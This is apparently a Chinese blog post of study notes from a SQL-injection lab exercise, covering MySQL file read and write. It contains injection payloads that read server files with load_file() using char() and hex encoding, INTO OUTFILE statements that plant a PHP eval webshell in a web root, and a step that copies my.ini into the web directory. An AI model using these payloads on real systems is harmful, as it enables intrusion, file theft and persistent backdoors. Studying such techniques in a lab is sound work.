1. 程式人生 > 其它 >記SQL注入之匯出匯入檔案

記SQL注入之匯出匯入檔案

最近在學習SQL注入的東西,在Less-9的時候看到一個匯入匯出檔案獲取flag的注入姿勢,在這裡記錄一下

匯出:

load_file() 匯出檔案

Load_file(file_name):讀取檔案並返回該檔案的內容作為一個字串。

使用條件:
A、必須有許可權讀取並且檔案必須完全可讀

  `and (select count(*) from mysql.user)>0`  如果結果返回正常,說明具有讀寫許可權。

  `and (select count(*) from mysql.user)>0`  返回錯誤,應該是管理員給資料庫帳戶降權

  B、欲讀取檔案必須在伺服器上

  C、必須指定檔案完整的路徑

  D、欲讀取檔案必須小於 max_allowed_packet

示例:

  1. Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92,114,101,112,97,105,114,92,115,97,109)))

    利用hex()將檔案內容匯出來,尤其是smb檔案時可以使用。

  2. -1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))

    Explain:"char(99,58,47,98,111,111,116,46,105,110,105)"就是"c:/boot.ini"的ASCII程式碼

  3. -1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)

    Explain:"c:/boot.ini"的16進位制是"0x633a2f626f6f742e696e69"

  4. -1 union select 1,1,1,load_file(c:\\boot.ini)

    Explain:路徑裡的/用 \代替

匯入:

load data infile 'filename':匯入到資料庫

標準示例:

LOAD DATA LOCAL INFILE 'data.txt' INTO TABLE tbl_name 
FIELDS TERMINATED BY ',' 
OPTIONALLY ENCLOSED BY '"' 
LINES TERMINATED BY '\n' 

示例:load data infile '/tmp/t0.txt' ignore into table t0 character set gbk fields terminated by '\t' lines terminated by '\n'

將檔案/tmp/t0.txt 匯入到t0 表中
replace into 表示如果匯入過程中有唯一性約束,直接覆蓋;ignore into 則跳過。
character set gbk是字符集設定為gbk,fields terminated by是每一項資料之間的分隔符,lines terminated by 是行的結尾符。

select.....into outfile 'file_name' :匯入到檔案

可以把被選擇的行寫入一個檔案中。該檔案被建立到伺服器主機上,因此您必須擁有FILE許可權,才能使用此語法。file_name不能是一個已經存在的檔案。

利用方式:

  1. 直接將select內容匯入到檔案中

Select version() into outfile "c:\\phpnow\\htdocs\\test.php"

這裡就可以將version()換成一句話

Select <?php @eval($_post["mima"])?> into outfile "c:\\phpnow\\htdocs\\test.php"

  1. 修改檔案結尾

Select version() Into outfile "c:\\phpnow\\htdocs\\test.php" LINES TERMINATED BY 0x16進位制檔案

> 16進位制可以為一句話或者其他任何的程式碼,可自行構造

匯入與匯出相結合:

select load_file('c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini')into outfile 'c:\\wamp\\www\\test.php'

該語句將伺服器當中的內容匯入到web伺服器下的目錄,這樣就可以得到資料了

參考連結:MySQL